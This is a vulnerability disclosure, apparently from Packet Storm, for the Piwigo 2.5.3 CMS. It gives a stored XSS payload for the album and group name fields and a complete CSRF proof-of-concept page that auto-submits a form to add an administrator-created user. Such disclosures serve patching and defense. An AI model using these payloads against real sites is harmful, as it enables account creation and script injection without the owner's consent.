Piwigo 2.5.3 Cross Site Request Forgery

🗓️ 16 Dec 2013 00:00:00Reported by sajithType

packetstorm🔗 packetstormsecurity.com👁 18 Views

Piwigo 2.5.3 CMS vulnerability repor

`###########################################################  
[~] Exploit Title: Piwigo 2.5.3 CMS:Multiple vulnerability's  
[~] Author: sajith  
[~] version: Piwigo 2.5.3  
[~]Vendor Homepage: http://piwigo.org  
[~] vulnerable app link:http://www.piwigo.org/basics/downloads  
###########################################################  
  
  
[1] Stored XSS on Multiple parameters  
  
<1> click on Add photos (  
http://127.0.0.1/cms/piwigo/admin.php?page=photos_add) and click on "create  
new album" in the album name enter the payload "><img src=x  
onerror=prompt(1);> and save it we can see that our payload gets  
executed.we can also see that when you click on "albums" and "manage"  
functionality payload gets executed.  
  
  
<2>click on users > groups > in the "group name" field add above xss  
payload and click on save.  
  
  
[2] CSRF vulnerability  
  
  
click on >users >manage where "add a user " functionality can be  
exploited using CSRF vulnerability(poc shown below)  
  
  
<head>  
<title>POC by sajith shetty</title>  
</head>  
<body>  
<form action="http://127.0.0.1/cms/piwigo/admin.php?page=user_list"  
id="formid" method="post">  
<input type="hidden" name="login" value="crsfpoc123" />  
<input type="hidden" name="password" value="Password123@" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="send_password_by_mail" value="1" />  
<input type="hidden" name="submit_add" value="Submit" />  
</form>  
<script>  
document.getElementById('formid').submit();  
</script>  
</body>  
</html>  
  
`

16 Dec 2013 00:00Current

0.8Low risk

Vulners AI Score0.8